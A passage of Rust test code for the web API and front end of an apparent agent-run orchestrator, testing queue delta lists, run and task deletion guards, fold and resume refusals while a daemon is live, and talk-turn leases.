20372 #[tokio::test]
20373 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20374 let home = TempDir::new().unwrap();
20375 let ui = delta_test_ui(home.path());
20376 let queue = ui.queue.clone();
20377 let query = |ids: Option<&str>| {
20378 Query(ListQuery {
20379 limit: Some(2),
20380 ids: ids.map(str::to_owned),
20381 })
20382 };
20383 let mut root = Task::new(
20384 "root".into(),
20385 "instruction".into(),
20386 PathBuf::from("/repo"),
20387 Source::Human,
20388 );
20389 queue.put(&mut root).unwrap();
20390 let mut blocked = Task::new(
20391 "blocked".into(),
20392 "instruction".into(),
20393 PathBuf::from("/repo"),
20394 Source::Human,
20395 );
20396 blocked.block(vec![root.id.clone()], None);
20397 queue.put(&mut blocked).unwrap();
20398 let whole =
20399 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20400 .unwrap();
20401 let subset = serde_json::to_value(
20402 queue_list(State(ui.clone()), query(Some(&root.id)))
20403 .await
20404 .unwrap()
20405 .0,
20406 )
20407 .unwrap();
20408 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20409 let blockers = serde_json::to_value(
20410 queue_list(State(ui.clone()), query(Some("")))
20411 .await
20412 .unwrap()
20413 .0,
20414 )
20415 .unwrap();
20416 assert_eq!(blockers.as_array().unwrap().len(), 1);
20417 assert_eq!(blockers[0]["id"], blocked.id);
20418 assert_eq!(
20419 blockers[0]["waits_on"],
20420 whole
20421 .as_array()
20422 .unwrap()
20423 .iter()
20424 .find(|row| row["id"] == blocked.id)
20425 .unwrap()["waits_on"]
20426 );
20427
20428 for id in [
20429 "20260902-140501-aaaa",
20430 "20260902-140502-bbbb",
20431 "20260902-140503-cccc",
20432 ] {
20433 write_run(&ui.runs, id, RunStatus::Merged);
20434 }
20435 let old = serde_json::to_value(
20436 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20437 .await
20438 .unwrap()
20439 .0,
20440 )
20441 .unwrap();
20442 assert!(
20443 old.as_array().unwrap().is_empty(),
20444 "older updates must not enter the window"
20445 );
20446 let newest = serde_json::to_value(
20447 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20448 .await
20449 .unwrap()
20450 .0,
20451 )
20452 .unwrap();
20453 assert_eq!(newest.as_array().unwrap().len(), 1);
20454 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20455
20456 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20457 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20458 let talks = serde_json::to_value(
20459 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20460 .await
20461 .unwrap()
20462 .0,
20463 )
20464 .unwrap();
20465 assert_eq!(talks.as_array().unwrap().len(), 1);
20466 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20467 assert_eq!(
20468 serde_json::to_value(
20469 talks_list(State(ui.clone()), query(Some("")))
20470 .await
20471 .unwrap()
20472 .0
20473 )
20474 .unwrap(),
20475 serde_json::json!([])
20476 );
20477 }
20478
20479 #[tokio::test]
20480 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20481 async fn delta_payload_benchmark() {
20482 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20483 let ui = delta_test_ui(&home);
20484 let query = |ids: Option<String>| {
20485 Query(ListQuery {
20486 limit: Some(50),
20487 ids,
20488 })
20489 };
20490 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20491 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20492 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20493 let queue_id = queue
20494 .iter()
20495 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20496 .unwrap_or(&queue[0])
20497 .task
20498 .id
20499 .clone();
20500 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20501 .await
20502 .unwrap()
20503 .0;
20504 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20505 .await
20506 .unwrap()
20507 .0;
20508 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20509 .await
20510 .unwrap()
20511 .0;
20512 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20513 eprintln!(
20514 "DELTA_PAYLOAD {}",
20515 serde_json::json!({
20516 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20517 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20518 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20519 "counts": [queue.len(), runs.len(), talks.len()],
20520 "blocked": queue_delta.len() - 1,
20521 })
20522 );
20523 }
20524
20525 #[test]
20526 fn runs_revision_moves_when_deleting_an_older_run() {
20527 let temp = TempDir::new().expect("tempdir");
20528 let runs = temp.path().join("runs");
20529 std::fs::create_dir_all(&runs).expect("create runs dir");
20530
20531 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20532
20533 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20534 std::thread::sleep(Duration::from_millis(10));
20535 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20536
20537 let rev_before = runs_revision(&runs);
20538 assert!(rev_before > 0);
20539
20540 let old_dir = runs.join("20260901-100000-old1");
20541 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20542
20543 let rev_after = runs_revision(&runs);
20544 assert_ne!(
20545 rev_before, rev_after,
20546 "deleting an older run must change the revision so other clients see the deletion"
20547 );
20548 }
20549
20550 fn write_state(runs: &FsPath, state: &RunState) {
20555 let dir = runs.join(&state.id);
20556 std::fs::create_dir_all(&dir).expect("run dir");
20557 std::fs::write(
20558 dir.join("run.json"),
20559 serde_json::to_string_pretty(state).expect("serialize run"),
20560 )
20561 .expect("write run.json");
20562 }
20563
20564 #[test]
20569 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20570 let temp = TempDir::new().expect("tempdir");
20571 let runs = temp.path().join("runs");
20572 std::fs::create_dir_all(&runs).expect("create runs dir");
20573 let mut state = RunState::new(
20574 PathBuf::from("/repo/magi"),
20575 "main".to_owned(),
20576 "0123456789abcdef".to_owned(),
20577 "task".to_owned(),
20578 Config::default(),
20579 );
20580 state.id = "20260902-100000-c0de".to_owned();
20581 write_state(&runs, &state);
20582
20583 let rev_idle = runs_revision(&runs);
20584 std::thread::sleep(Duration::from_millis(10));
20585 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20586 write_state(&runs, &state);
20587 let rev_started = runs_revision(&runs);
20588 assert_ne!(
20589 rev_idle, rev_started,
20590 "a seat starting must move the revision"
20591 );
20592
20593 std::thread::sleep(Duration::from_millis(10));
20594 state.seat_finished("judge-1");
20595 write_state(&runs, &state);
20596 let rev_finished = runs_revision(&runs);
20597 assert_ne!(
20598 rev_started, rev_finished,
20599 "and clearing it again must move the revision a second time"
20600 );
20601 }
20602
20603 #[tokio::test]
20604 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20605 let fx = Fixture::start().await;
20610 let q = fx.queue();
20611
20612 let mut t = Task::new(
20613 "Task".to_owned(),
20614 "Instruction".to_owned(),
20615 PathBuf::from("/repo"),
20616 Source::Human,
20617 );
20618 t.block(
20619 vec!["20260101-000000-dead".to_owned()],
20620 Some("waiting on Task 1".to_owned()),
20621 );
20622 t.answers.push(crate::queue::AnsweredQuestion {
20623 question: "Which backend?".to_owned(),
20624 answer: "SQLite".to_owned(),
20625 });
20626 q.put(&mut t).expect("put t");
20627
20628 let res = fx.get("/api/queue").await;
20629 assert_eq!(res.status, 200);
20630 let list = res.json();
20631 let view = list
20632 .as_array()
20633 .expect("array")
20634 .iter()
20635 .find(|v| v["id"] == t.id)
20636 .expect("task in list");
20637 assert_eq!(view["status_str"], "blocked");
20638 assert_eq!(
20639 view["blocked_by"],
20640 serde_json::json!(["20260101-000000-dead"])
20641 );
20642 assert_eq!(view["block_reason"], "waiting on Task 1");
20643 assert_eq!(view["answers"][0]["question"], "Which backend?");
20644 assert_eq!(view["answers"][0]["answer"], "SQLite");
20645
20646 let res = fx
20650 .post(&format!("/api/queue/{}/hold", t.short()), None)
20651 .await;
20652 assert_eq!(res.status, 200);
20653 let held = res.json();
20654 assert_eq!(held["status_str"], "held");
20655 assert_eq!(held["blocked_by"], serde_json::json!([]));
20656 assert!(held["block_reason"].is_null());
20657 assert_eq!(held["answers"][0]["answer"], "SQLite");
20658 }
20659
20660 #[tokio::test]
20661 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20662 let fx = Fixture::start().await;
20663 let q = fx.queue();
20664 let mk = |title: &str| {
20665 Task::new(
20666 title.to_owned(),
20667 "Instruction".to_owned(),
20668 PathBuf::from("/repo"),
20669 Source::Human,
20670 )
20671 };
20672 let mut root = mk("root");
20673 root.hold_manual(Some("waiting".to_owned()));
20674 q.put(&mut root).unwrap();
20675 let mut mid = mk("mid");
20676 mid.block(vec![root.id.clone()], None);
20677 q.put(&mut mid).unwrap();
20678 let mut leaf = mk("leaf");
20679 leaf.block(vec![mid.id.clone()], None);
20680 q.put(&mut leaf).unwrap();
20681
20682 let list = fx.get("/api/queue").await.json();
20683 let find = |id: &str| {
20684 list.as_array()
20685 .unwrap()
20686 .iter()
20687 .find(|v| v["id"] == id)
20688 .unwrap()
20689 .clone()
20690 };
20691 let leaf_view = find(&leaf.id);
20692 assert_eq!(
20693 leaf_view["waits_on"],
20694 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20695 );
20696 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20697 assert_eq!(
20698 find(&mid.id)["waits_on"],
20699 serde_json::json!([format!("{} (held)", root.short())])
20700 );
20701 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20702 }
20703
20704 #[tokio::test]
20705 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20706 let fx = Fixture::start().await;
20707 let q = fx.queue();
20708
20709 let mut t1 = Task::new(
20711 "Task 1".to_owned(),
20712 "Instruction 1".to_owned(),
20713 PathBuf::from("/repo"),
20714 Source::Human,
20715 );
20716 let run_id = "20260901-000000-r111";
20717 t1.runs.push(run_id.to_owned());
20718 write_run(&fx.runs(), run_id, RunStatus::Merged);
20719 q.put(&mut t1).expect("put t1");
20720
20721 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20723 assert_eq!(res.status, 204);
20724 assert!(res.body.is_empty(), "204 No Content has no body");
20725 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20726 assert!(
20727 fx.runs().join(run_id).exists(),
20728 "run directory must not be deleted when its task is deleted"
20729 );
20730
20731 let mut t2 = Task::new(
20733 "Task 2".to_owned(),
20734 "Instruction 2".to_owned(),
20735 PathBuf::from("/repo"),
20736 Source::Human,
20737 );
20738 t2.status = TaskStatus::Running;
20739 q.put(&mut t2).expect("put t2");
20740 let mut beat = crate::daemon::Status::new();
20741 beat.current = vec![crate::daemon::Current {
20742 task: t2.id.clone(),
20743 run: "20260901-000000-r222".to_owned(),
20744 }];
20745 beat.updated_at = jiff::Timestamp::now();
20746 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20747 .expect("publish a heartbeat");
20748 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20749 assert_eq!(res.status, 409);
20750 assert!(
20751 res.json()["error"]
20752 .as_str()
20753 .unwrap()
20754 .contains("live daemon")
20755 );
20756 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20757
20758 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20764 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20765 .expect("leave a stale heartbeat");
20766 let mut t3 = Task::new(
20767 "Task 3".to_owned(),
20768 "Instruction 3".to_owned(),
20769 PathBuf::from("/repo"),
20770 Source::Human,
20771 );
20772 t3.status = TaskStatus::Running;
20773 q.put(&mut t3).expect("put t3");
20774 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20775 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20776 assert_eq!(res.status, 204);
20777 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20778 assert!(
20779 q.claim(&t3.id).is_ok(),
20780 "the stale lock went with it, so the id is claimable again"
20781 );
20782
20783 let res = fx.delete("/api/queue/nonexistent").await;
20785 assert_eq!(res.status, 404);
20786 }
20787
20788 #[tokio::test]
20789 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20790 let fx = Fixture::start().await;
20791 let runs = fx.runs();
20792
20793 let run_id = "20260901-000000-fold";
20795 let mut state = RunState::new(
20796 PathBuf::from("/repo"),
20797 "main".to_owned(),
20798 "abc".to_owned(),
20799 "instruction".to_owned(),
20800 Config::default(),
20801 );
20802 state.id = run_id.to_owned();
20803 state.status = RunStatus::Merged;
20804 state.candidates.push(crate::run::Candidate {
20805 index: 0,
20806 label: 'A',
20807 agent: "a".to_owned(),
20808 branch: "b".to_owned(),
20809 worktree: PathBuf::from("/w"),
20810 summary: String::new(),
20811 stat: String::new(),
20812 files: 1,
20813 commits: 1,
20814 empty: false,
20815 failed: None,
20816 verified_noop: None,
20817 duration_ms: 0,
20818 folded: true,
20819 });
20820 let dir = runs.join(run_id);
20821 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20822 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20823 .expect("write artifact");
20824 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20825 .expect("write run.json");
20826
20827 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20829 assert_eq!(res.status, 204);
20830 assert!(res.body.is_empty(), "204 has no body");
20831 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20832
20833 let run_running = "20260901-000000-rung";
20838 write_run(&runs, run_running, RunStatus::Prep);
20839 let mut beat = crate::daemon::Status::new();
20840 beat.current = vec![crate::daemon::Current {
20841 task: "20260901-000000-task".to_owned(),
20842 run: run_running.to_owned(),
20843 }];
20844 beat.updated_at = jiff::Timestamp::now();
20845 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20846 .expect("publish a heartbeat");
20847 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20848 assert_eq!(res.status, 409);
20849 assert!(
20850 res.json()["error"]
20851 .as_str()
20852 .unwrap()
20853 .contains("live daemon"),
20854 "the refusal must say who is holding it"
20855 );
20856 assert!(
20857 runs.join(run_running).exists(),
20858 "a run in flight keeps its directory"
20859 );
20860
20861 let run_unfolded = "20260901-000000-unfd";
20863 let mut state2 = RunState::new(
20864 PathBuf::from("/repo"),
20865 "main".to_owned(),
20866 "abc".to_owned(),
20867 "instruction".to_owned(),
20868 Config::default(),
20869 );
20870 state2.id = run_unfolded.to_owned();
20871 state2.status = RunStatus::Ready;
20872 state2.candidates.push(crate::run::Candidate {
20873 index: 0,
20874 label: 'A',
20875 agent: "a".to_owned(),
20876 branch: "b".to_owned(),
20877 worktree: PathBuf::from("/w"),
20878 summary: String::new(),
20879 stat: String::new(),
20880 files: 1,
20881 commits: 1,
20882 empty: false,
20883 failed: None,
20884 verified_noop: None,
20885 duration_ms: 0,
20886 folded: false,
20887 });
20888 let dir2 = runs.join(run_unfolded);
20889 std::fs::create_dir_all(&dir2).expect("create dir2");
20890 std::fs::write(
20891 dir2.join("run.json"),
20892 serde_json::to_string(&state2).unwrap(),
20893 )
20894 .expect("write run.json");
20895
20896 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20897 assert_eq!(res.status, 409);
20898 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20899 assert!(dir2.exists(), "unfolded run directory is kept");
20900
20901 let res = fx.delete("/api/runs/nonexistent").await;
20903 assert_eq!(res.status, 404);
20904 }
20905
20906 #[test]
20915 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20916 let start = APP_JS
20917 .find("function renderStats() {")
20918 .expect("renderStats");
20919 let end = start
20920 + APP_JS[start..]
20921 .find("function statsTile(")
20922 .expect("the next top-level function");
20923 let body = &APP_JS[start..end];
20924
20925 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20926 let gate_end = gate_start
20927 + body[gate_start..]
20928 .find("}\n renderStatsQueue")
20929 .expect("the gate's own closing brace, right before the unconditional call");
20930 let gated = &body[gate_start..gate_end];
20931
20932 assert_eq!(
20933 body.matches("renderStatsQueue(").count(),
20934 1,
20935 "renderStats must call renderStatsQueue exactly once: {body}"
20936 );
20937 assert!(
20938 !gated.contains("renderStatsQueue"),
20939 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20940 run-derived panels on an empty run history - the queue panel has to render \
20941 regardless: {gated}"
20942 );
20943 }
20944
20945 #[test]
20946 fn web_ui_delete_contract_in_front_end() {
20947 assert!(APP_JS.contains("deleteRun:"));
20949 assert!(APP_JS.contains("deleteTask:"));
20950
20951 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20953 ..APP_JS.find("function renderRuns").unwrap()];
20954 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20955
20956 assert!(APP_JS.contains("renderRunDelete"));
20958 assert!(APP_JS.contains("runDeleteReason"));
20959 assert!(APP_JS.contains("magi fold"));
20960 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20961
20962 assert!(APP_JS.contains("cancel.focus"));
20964 assert!(APP_JS.contains("armedRunDelete"));
20965 assert!(APP_JS.contains("renderTaskDeleteBox"));
20966 assert!(APP_JS.contains("armed${cap(key)}"));
20967
20968 assert!(APP_JS.contains("disabled: status === \"running\""));
20970 }
20971
20972 #[test]
20992 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20993 let build = APP_JS
20994 .find("function createRunCard")
20995 .expect("createRunCard exists");
20996 let update = APP_JS
20997 .find("function updateRunCard")
20998 .expect("updateRunCard exists");
20999 let end = APP_JS
21000 .find("function renderRuns")
21001 .expect("renderRuns exists");
21002
21003 let builder = &APP_JS[build..update];
21005 let open = builder.find("refs = {").expect("createRunCard sets refs");
21006 let literal = &builder[open + "refs = {".len()..];
21007 let close = literal.find('}').expect("the refs literal is closed");
21008 let published: HashSet<&str> = literal[..close]
21009 .split(',')
21010 .filter_map(|entry| entry.split(':').next())
21012 .map(str::trim)
21013 .filter(|name| !name.is_empty())
21014 .collect();
21015 assert!(
21016 published.len() > 5,
21017 "the refs literal did not parse into names: {published:?}"
21018 );
21019
21020 let mut used: Vec<&str> = Vec::new();
21023 let updaters = &APP_JS[update..end];
21024 for (at, _) in updaters.match_indices("r.") {
21025 let before = updaters[..at].chars().next_back();
21028 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21029 continue;
21030 }
21031 let rest = &updaters[at + 2..];
21032 let len = rest
21033 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21034 .unwrap_or(rest.len());
21035 if len > 0 {
21036 used.push(&rest[..len]);
21037 }
21038 }
21039 assert!(
21040 used.len() > 5,
21041 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21042 );
21043
21044 let missing: Vec<&str> = used
21045 .iter()
21046 .copied()
21047 .filter(|name| !published.contains(name))
21048 .collect();
21049 assert!(
21050 missing.is_empty(),
21051 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21052 never put in `refs` - every card will throw and the list will \
21053 render empty under a count line that says otherwise. Published: \
21054 {published:?}"
21055 );
21056 }
21057
21058 #[tokio::test]
21059 async fn folding_from_the_phone_reports_what_it_removed() {
21060 let fx = Fixture::start().await;
21061 let runs = fx.runs();
21062
21063 let id = "20260901-000000-fold";
21067 write_run(&runs, id, RunStatus::Stalled);
21068 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21069 assert_eq!(res.status, 200);
21070 assert_eq!(res.json()["removed_count"], 0);
21071 assert_eq!(res.json()["run"], id);
21072 assert!(
21073 runs.join(id).exists(),
21074 "a fold keeps the run's record; only the worktrees go"
21075 );
21076 }
21077
21078 #[tokio::test]
21079 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21080 let fx = Fixture::start().await;
21081 let runs = fx.runs();
21082 let wt = fx.home.path().join("wt").join("magi").join("dead");
21083 let id = "20260901-000000-dead";
21084 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21085 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21086 std::fs::create_dir_all(&wt).expect("worktree dir");
21087
21088 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21089 assert_eq!(res.status, 200, "{}", res.body);
21090 assert!(
21091 res.json()["removed_count"].as_u64().unwrap() > 0,
21092 "the worktree this build could not read a state for still went"
21093 );
21094 assert!(
21095 !runs.join(id).exists(),
21096 "an unreadable run has no candidate list to fold selectively, so \
21097 the whole record goes - same as `magi fold` on the CLI"
21098 );
21099 }
21100
21101 #[tokio::test]
21102 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21103 let fx = Fixture::start().await;
21104 let runs = fx.runs();
21105 let wt = fx.home.path().join("wt").join("magi").join("gone");
21106 let id = "20260901-000000-gone";
21107 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21108 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21109 std::fs::create_dir_all(&wt).expect("worktree dir");
21110
21111 let res = fx.delete(&format!("/api/runs/{id}")).await;
21112 assert_eq!(res.status, 204, "{}", res.body);
21113 assert!(!runs.join(id).exists(), "the broken record is gone");
21114 assert!(!wt.exists(), "its worktree is gone too");
21115 }
21116
21117 #[tokio::test]
21118 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21119 let fx = Fixture::start().await;
21120 let runs = fx.runs();
21121 let id = "20260901-000000-live";
21122 write_run(&runs, id, RunStatus::Implementing);
21123
21124 let mut beat = crate::daemon::Status::new();
21125 beat.current = vec![crate::daemon::Current {
21126 task: "20260901-000000-task".to_owned(),
21127 run: id.to_owned(),
21128 }];
21129 beat.updated_at = jiff::Timestamp::now();
21130 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21131 .expect("publish a heartbeat");
21132
21133 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21134 assert_eq!(res.status, 409);
21135 assert!(
21136 res.json()["error"]
21137 .as_str()
21138 .unwrap()
21139 .contains("live daemon"),
21140 "folding under a running agent would pull its worktree away"
21141 );
21142 }
21143
21144 #[tokio::test]
21145 async fn fold_merged_requires_a_pr_url() {
21146 let fx = Fixture::start().await;
21147 let runs = fx.runs();
21148 let id = "20260901-000000-nourl";
21149 write_run(&runs, id, RunStatus::Blocked);
21150
21151 let res = fx
21152 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21153 .await;
21154 assert_eq!(res.status, 400, "{}", res.body);
21155
21156 let blank = fx
21157 .post(
21158 &format!("/api/runs/{id}/fold-merged"),
21159 Some(r#"{"pr_url":" "}"#),
21160 )
21161 .await;
21162 assert_eq!(blank.status, 400, "{}", blank.body);
21163 }
21164
21165 #[tokio::test]
21166 async fn fold_merged_is_404_for_an_unknown_run() {
21167 let fx = Fixture::start().await;
21168 let res = fx
21169 .post(
21170 "/api/runs/nosuchrun/fold-merged",
21171 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21172 )
21173 .await;
21174 assert_eq!(res.status, 404, "{}", res.body);
21175 }
21176
21177 #[tokio::test]
21178 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21179 let fx = Fixture::start().await;
21180 let runs = fx.runs();
21181 let id = "20260901-000000-livemerge";
21182 write_run(&runs, id, RunStatus::Blocked);
21183
21184 let mut beat = crate::daemon::Status::new();
21185 beat.current = vec![crate::daemon::Current {
21186 task: "20260901-000000-task".to_owned(),
21187 run: id.to_owned(),
21188 }];
21189 beat.updated_at = jiff::Timestamp::now();
21190 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21191 .expect("publish a heartbeat");
21192
21193 let res = fx
21194 .post(
21195 &format!("/api/runs/{id}/fold-merged"),
21196 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21197 )
21198 .await;
21199 assert_eq!(res.status, 409, "{}", res.body);
21200 assert!(
21201 res.json()["error"]
21202 .as_str()
21203 .unwrap()
21204 .contains("live daemon"),
21205 "correcting a run's merge underneath a running agent would race \
21206 whatever it is doing to the same `status`/`merge` fields"
21207 );
21208 }
21209
21210 #[tokio::test]
21215 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21216 let fx = Fixture::start().await;
21217 let runs = fx.runs();
21218 let id = "20260901-000000-unconfirmed";
21219 write_run(&runs, id, RunStatus::Blocked);
21220
21221 let res = fx
21222 .post(
21223 &format!("/api/runs/{id}/fold-merged"),
21224 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21225 )
21226 .await;
21227 assert_eq!(res.status, 400, "{}", res.body);
21228 assert_eq!(
21229 read_run(&runs, id).unwrap().status,
21230 RunStatus::Blocked,
21231 "a pull request that could not be confirmed merged must leave \
21232 the run exactly where it was"
21233 );
21234 }
21235
21236 #[tokio::test]
21237 async fn terminal_runs_cannot_be_resumed() {
21238 let fx = Fixture::start().await;
21239 let runs = fx.runs();
21240
21241 for (status, word) in [
21242 (RunStatus::Merged, "merged"),
21243 (RunStatus::Ready, "ready"),
21244 (RunStatus::Failed, "failed"),
21245 ] {
21246 let id = format!("20260901-000000-{}", &word[..4]);
21247 write_run(&runs, &id, status);
21248 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21249 assert_eq!(res.status, 409, "{word} must not be resumable");
21250 }
21251 }
21252
21253 #[tokio::test]
21254 async fn resume_is_refused_while_the_loop_is_running() {
21255 let fx = Fixture::start().await;
21256 let runs = fx.runs();
21257 let stalled = "20260901-000000-stal";
21258 write_run(&runs, stalled, RunStatus::Stalled);
21259
21260 let mut beat = crate::daemon::Status::new();
21264 beat.current = vec![crate::daemon::Current {
21265 task: "20260901-000000-task".to_owned(),
21266 run: "20260901-000000-othr".to_owned(),
21267 }];
21268 beat.updated_at = jiff::Timestamp::now();
21269 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21270 .expect("publish a heartbeat");
21271
21272 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21273 assert_eq!(res.status, 409);
21274 let err = res.json()["error"].as_str().unwrap().to_owned();
21275 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21276 assert!(err.contains("stop it first"), "{err}");
21277 }
21278
21279 #[test]
21280 fn a_run_cannot_be_resumed_twice_at_once() {
21281 let home = TempDir::new().expect("temp home");
21282 let ui = Ui::new(
21283 Queue::at(home.path().join("queue")),
21284 Questions::at(home.path().join("questions")),
21285 Talks::at(home.path().join("talks")),
21286 home.path().join("runs"),
21287 home.path().to_path_buf(),
21288 PathBuf::from("/repo"),
21289 )
21290 .with_worktrees_root(home.path().join("wt"));
21291 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21292 let again = ui.begin_resume("20260901-000000-once");
21293 assert!(again.is_err(), "a second tap must not start a second graph");
21294 drop(first);
21295 assert!(
21296 ui.begin_resume("20260901-000000-once").is_ok(),
21297 "and the claim is released when the attempt ends"
21298 );
21299 }
21300
21301 #[test]
21302 fn talk_thinking_tracks_only_its_held_turn_claim() {
21303 let home = TempDir::new().expect("temp home");
21304 let ui = Ui::new(
21305 Queue::at(home.path().join("queue")),
21306 Questions::at(home.path().join("questions")),
21307 Talks::at(home.path().join("talks")),
21308 home.path().join("runs"),
21309 home.path().to_path_buf(),
21310 PathBuf::from("/repo"),
21311 )
21312 .with_worktrees_root(home.path().join("wt"));
21313 let id = "20260901-000000-once";
21314
21315 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21316 let turn = ui.begin_talk_turn(id).expect("claim turn");
21317 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21318 assert!(
21319 !ui.is_thinking("20260901-000000-other"),
21320 "one talk's turn does not make another talk busy"
21321 );
21322 drop(turn);
21323 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21324 }
21325
21326 #[test]
21327 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21328 let home = TempDir::new().expect("temp home");
21329 let talks = Talks::at(home.path().join("talks"));
21330 let ui = Ui::new(
21331 Queue::at(home.path().join("queue")),
21332 Questions::at(home.path().join("questions")),
21333 talks.clone(),
21334 home.path().join("runs"),
21335 home.path().to_path_buf(),
21336 PathBuf::from("/repo"),
21337 )
21338 .with_worktrees_root(home.path().join("wt"));
21339 let id = "20260901-000000-cross";
21340
21341 let other = Talks::at(home.path().join("talks"))
21342 .claim_turn(id)
21343 .expect("claim")
21344 .expect("the other process wins");
21345 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21346 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21347 assert!(
21348 matches!(
21349 ui.begin_talk_turn_unless_pending(id).expect("start"),
21350 TalkTurnStart::Foreign
21351 ),
21352 "a foreign holder is refused, not queued behind"
21353 );
21354 assert!(
21355 !ui.talk_turns.lock().unwrap().live.contains(id),
21356 "a refused claim leaves no in-process entry behind"
21357 );
21358 drop(other);
21359 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21360 assert!(talks.turn_held(id), "the web turn holds the lease");
21361 drop(turn);
21362 assert!(
21363 !talks.turn_held(id),
21364 "dropping the guard releases the lease"
21365 );
21366 }
21367
21368 fn consult_question(ui: &Ui) -> Question {
21369 let mut q = Question::new(
21370 "20260901-000000-consult".to_owned(),
